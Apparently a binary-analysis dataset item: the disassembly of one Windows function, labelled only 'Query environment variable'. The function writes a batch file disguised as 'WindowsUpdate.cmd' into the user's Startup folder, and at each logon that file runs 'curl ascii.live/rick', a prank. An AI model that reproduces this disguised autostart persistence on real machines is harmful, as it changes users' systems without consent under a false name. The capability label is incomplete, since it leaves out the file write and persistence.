Function at 0x140001290
Capabilities:
Query environment variable

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
mov qword [rsp + 0x20], r14
push rbp
lea rbp, [rsp - 0xc0]
sub rsp, 0x1c0
mov rax, qword [0x140008040]
xor rax, rsp
mov qword [rbp + 0xb0], rax
lea rcx, str.username
call qword [sym.imp.api_ms_win_crt_environment_l1_1_0.dll_getenv]
mov r14, rax
xorps xmm0, xmm0
movups xmmword [rsp + 0x30], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x40], xmm1
mov rbx, 0xffffffffffffffff
nop dword [rax]
inc rbx
cmp byte [rax + rbx], 0
jne 0x1400012f0
movabs rdi, 0x7fffffffffffffff
cmp rbx, rdi
ja 0x140001786
cmp rbx, 0xf
ja 0x14000133a
mov qword [rsp + 0x40], rbx
mov qword [rsp + 0x48], 0xf
mov r8, rbx
mov rdx, r14
lea rcx, [rsp + 0x30]
call sub.VCRUNTIME140.dll_memcpy
mov byte [rsp + rbx + 0x30], 0
jmp 0x1400013d3
mov rax, rbx
or rax, 0xf
cmp rax, rdi
jbe 0x14000136f
movabs rax, 0x8000000000000000
add rax, 0x27
mov rcx, rax
call fcn.140003220
test rax, rax
je 0x1400013a3
lea rsi, [rax + 0x27]
and rsi, 0xffffffffffffffe0
mov qword [rsi - 8], rax
jmp 0x1400013b2
mov rdi, rax
mov ecx, 0x16
cmp rax, rcx
cmovb rdi, rcx
lea rcx, [rdi + 1]
test rcx, rcx
jne 0x14000138b
xor esi, esi
jmp 0x1400013b2
cmp rcx, 0x1000
jb 0x1400013aa
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x14000178c
jmp 0x140001354
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140003220
mov rsi, rax
mov qword [rsp + 0x30], rsi
mov qword [rsp + 0x40], rbx
mov qword [rsp + 0x48], rdi
mov r8, rbx
mov rdx, r14
mov rcx, rsi
call sub.VCRUNTIME140.dll_memcpy
mov byte [rsi + rbx], 0
mov r8, qword [rsp + 0x40]
mov rcx, qword [rsp + 0x48]
mov rax, rcx
sub rax, r8
mov esi, 9
cmp rax, rsi
jb 0x140001473
lea rax, [r8 + 9]
mov qword [rsp + 0x40], rax
lea rbx, [rsp + 0x30]
cmp rcx, 0xf
cmova rbx, qword [rsp + 0x30]
lea rax, [0x140005551]
lea r14, str.C:Users_
cmp rax, rbx
jbe 0x140001436
lea rax, [rbx + r8]
cmp r14, rax
ja 0x140001436
cmp rbx, r14
ja 0x14000142e
xor edi, edi
jmp 0x140001439
mov rdi, rbx
sub rdi, r14
jmp 0x140001439
mov rdi, rsi
lea rcx, [rbx + 9]
inc r8
mov rdx, rbx
call sub.VCRUNTIME140.dll_memmove
mov r8, rdi
mov rdx, r14
mov rcx, rbx
call sub.VCRUNTIME140.dll_memcpy
lea rcx, [rbx + rdi]
sub rsi, rdi
lea rdx, [r14 + 9]
add rdx, rdi
mov r8, rsi
call sub.VCRUNTIME140.dll_memcpy
lea rax, [rsp + 0x30]
jmp 0x140001485
mov qword [rsp + 0x28], rsi
mov rdx, rsi
lea rcx, [rsp + 0x30]
call fcn.140003020
xorps xmm0, xmm0
movups xmmword [rsp + 0x50], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x60], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x50], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0x60], xmm1
mov qword [rax + 0x10], 0
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
mov rcx, qword [rsp + 0x60]
mov rdx, qword [rsp + 0x68]
mov rax, rdx
sub rax, rcx
cmp rax, 0x50
jb 0x14000150b
lea rax, [rcx + 0x50]
mov qword [rsp + 0x60], rax
lea rbx, [rsp + 0x50]
cmp rdx, 0xf
cmova rbx, qword [rsp + 0x50]
add rbx, rcx
mov r8d, 0x50
lea rdx, str.AppDataRoamingMicrosoftWindowsStart_MenuProgramsStartupWindowsUpdate.cmd
mov rcx, rbx
call sub.VCRUNTIME140.dll_memmove
mov byte [rbx + 0x50], 0
lea rax, [rsp + 0x50]
jmp 0x140001523
mov qword [rsp + 0x20], 0x50
mov edx, 0x50
lea rcx, [rsp + 0x50]
call fcn.140002e00
xorps xmm0, xmm0
movups xmmword [rsp + 0x78], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x78], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x78], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp - 0x78], xmm1
mov qword [rax + 0x10], 0
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
mov rdx, qword [rsp + 0x68]
cmp rdx, 0xf
jbe 0x140001596
inc rdx
mov rcx, qword [rsp + 0x50]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140001591
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140001591
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000325c
movdqa xmm0, xmmword [0x1400056f0]
movdqu xmmword [rsp + 0x60], xmm0
mov byte [rsp + 0x50], 0
mov rdx, qword [rsp + 0x48]
cmp rdx, 0xf
jbe 0x1400015f1
inc rdx
mov rcx, qword [rsp + 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400015e4
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400015e4
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000325c
movdqa xmm0, xmmword [0x1400056f0]
movdqu xmmword [rsp + 0x40], xmm0
mov byte [rsp + 0x30], 0
xor edx, edx
mov r8d, 0x108
lea rcx, [rbp - 0x60]
call sub.VCRUNTIME140.dll_memset
lea rdx, [rsp + 0x78]
cmp qword [rbp - 0x70], 0xf
cmova rdx, qword [rsp + 0x78]
lea rcx, [rbp - 0x60]
call fcn.1400027a0
mov rax, qword [rbp - 0x60]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_ofstream_char__struct_std::char_traits_char__.0
mov qword [rbp + rcx - 0x60], rax
mov rax, qword [rbp - 0x60]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xa8]
mov dword [rbp + rcx - 0x64], edx
lea rdx, str._echo_off_n
lea rcx, [rbp - 0x60]
call fcn.1400029a0
mov rcx, rax
lea rdx, str.mode_con:cols70_lines30_n
call fcn.1400029a0
mov rcx, rax
lea rdx, str.echo_Testing_connection_to_update_server_._._._n
call fcn.1400029a0
mov rcx, rax
lea rdx, str.Ping_www.microsoft.com__n_1__w_1000_n
call fcn.1400029a0
mov rcx, rax
lea rdx, str.cls_n
call fcn.1400029a0
mov rcx, rax
lea rdx, str.if_errorlevel_1___n
call fcn.1400029a0
mov rcx, rax
lea rdx, str._texit_n
call fcn.1400029a0
mov rcx, rax
lea rdx, [0x140005580]
call fcn.1400029a0
mov rcx, rax
lea rdx, str.title_Rickroll_n
call fcn.1400029a0
mov rcx, rax
lea rdx, str.curl_ascii.live_rick
call fcn.1400029a0
lea rcx, [rbp - 0x58]
call fcn.1400026e0
test rax, rax
jne 0x14000170f
mov rax, qword [rbp - 0x60]
movsxd rcx, dword [rax + 4]
lea rax, [rbp - 0x60]
add rcx, rax
xor r8d, r8d
mov edx, 2
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::setstate_int__bool____ptr64]
nop
lea rcx, [rbp - 0x60]
call fcn.1400017a0
nop
mov rdx, qword [rbp - 0x70]
cmp rdx, 0xf
jbe 0x140001758
inc rdx
mov rcx, qword [rsp + 0x78]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140001753
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140001753
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000325c
xor eax, eax
mov rcx, qword [rbp + 0xb0]
xor rcx, rsp
call fcn.140003200
lea r11, [rsp + 0x1c0]
mov rbx, qword [r11 + 0x10]
mov rsi, qword [r11 + 0x18]
mov rdi, qword [r11 + 0x20]
mov r14, qword [r11 + 0x28]
mov rsp, r11
pop rbp
ret
call fcn.1400011b0
int3
call fcn.140001110
int3